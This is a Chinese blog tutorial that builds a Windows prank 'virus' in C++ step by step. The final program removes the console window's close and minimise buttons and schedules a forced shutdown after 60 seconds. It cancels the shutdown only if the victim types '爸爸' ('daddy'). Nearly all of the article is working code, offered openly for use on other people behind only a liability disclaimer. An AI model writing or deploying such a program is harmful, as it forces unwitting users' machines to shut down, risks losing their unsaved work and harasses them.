C++实战:病毒(1)——自动关机

  • 时间:2025-12-02 22:02 作者: 来源: 阅读:6
  • 扫一扫,手机访问
摘要:作者声明:禁止将此内容应用于商业及其它用途,如有违反造成严重后果的,作者概不负责! 编写一个最简单的病毒(电脑自动关机),你需要了解如下知识。 1.关机知识 2.怎么打开CMD并键入命令 先了解下C++怎么立马关机: #include <bits/stdc++.h> #include <windows.h> using namespace std;

作者声明:禁止将此内容应用于商业及其它用途,如有违反造成严重后果的,作者概不负责!

编写一个最简单的病毒(电脑自动关机),你需要了解如下知识。

1.关机知识

2.怎么打开CMD并键入命令

先了解下C++怎么立马关机:



#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
	system("shutdown -s -t 0");
	return 0; 
}

这个程序可以立马关闭Windows。

 system("shutdown -s -t 秒数");

将秒数改成你希望的关机时间:

如立即关机,填0;1分钟关机,填60

简单不?再了解下C++怎么打开CMD并且键入命令



#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
	system("start cmd /k echo Hello,world");
	return 0; 
}

这段代码可以让CMD输出Hello,world

简单不?再再了解下C++怎么取消关机



#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
	system("shutdown -a");
	return 0; 
}

这段代码可以以取消关机。

再再学习一下怎么屏蔽最小化和关闭按钮(Alt+F4照样关)



#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
	HWND hwnd = GetConsoleWindow();
	HMENU hmenu = GetSystemMenu(hwnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hwnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd, GWL_STYLE, style);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hwnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd, NULL);
	return 0;
}

这段代码可以屏蔽最小化和关闭按钮。

所以我们可以写病毒啦!



#include <bits/stdc++.h>
#include <windows.h>
using namespace std;
int main(){
	string s;
	HWND hwnd = GetConsoleWindow();
	HMENU hmenu = GetSystemMenu(hwnd, false);
	RemoveMenu(hmenu, SC_CLOSE, MF_BYCOMMAND);
	LONG style = GetWindowLong(hwnd, GWL_STYLE);
	style &= ~(WS_MINIMIZEBOX);
	SetWindowLong(hwnd, GWL_STYLE, style);
	SetWindowPos(hwnd, HWND_TOP, 0, 0, 0, 0, SWP_NOMOVE | SWP_NOSIZE);
	ShowWindow(hwnd, SW_SHOWNORMAL);
	DestroyMenu(hmenu);
	ReleaseDC(hwnd, NULL);
	system("start cmd /k echo 你好。");
	Sleep(3000); 
	system("start cmd /k echo 我是一个病毒");
	Sleep(3000);
	system("start cmd /k echo 我会在一分钟后关闭你的电脑");
	system("shutdown -s -t 60");
	Sleep(3000);
	system("start cmd /k echo 尽快保存你的文件吧");
	Sleep(3000);
	system("start cmd /k echo 如果想取消关机,叫我爸爸!(打开控制台输入爸爸,然后敲回车)");
	Sleep(3000); 
	system("start cmd /k echo 再见。"); 
	cin>>s;
	if(s=="爸爸"){
		system("shutdown -a");
		cout<<"哎,乖儿子!";
	}
}

这段代码可以使用CMD写文字,并让别人打爸爸,否则关机。

结束啦!再见!

  • 全部评论(0)
最新发布的资讯信息
【系统环境|】创建一个本地分支(2025-12-03 22:43)
【系统环境|】git 如何删除本地和远程分支?(2025-12-03 22:42)
【系统环境|】2019|阿里11面+EMC+网易+美团面经(2025-12-03 22:42)
【系统环境|】32位单片机定时器入门介绍(2025-12-03 22:42)
【系统环境|】从 10 月 19 日起,GitLab 将对所有免费用户强制实施存储限制(2025-12-03 22:42)
【系统环境|】价值驱动的产品交付-OKR、协作与持续优化实践(2025-12-03 22:42)
【系统环境|】IDEA 强行回滚已提交到Master上的代码(2025-12-03 22:42)
【系统环境|】GitLab 15.1发布,Python notebook图形渲染和SLSA 2级构建工件证明(2025-12-03 22:41)
【系统环境|】AI 代码审查 (Code Review) 清单 v1.0(2025-12-03 22:41)
【系统环境|】构建高效流水线:CI/CD工具如何提升软件交付速度(2025-12-03 22:41)
手机二维码手机访问领取大礼包
返回顶部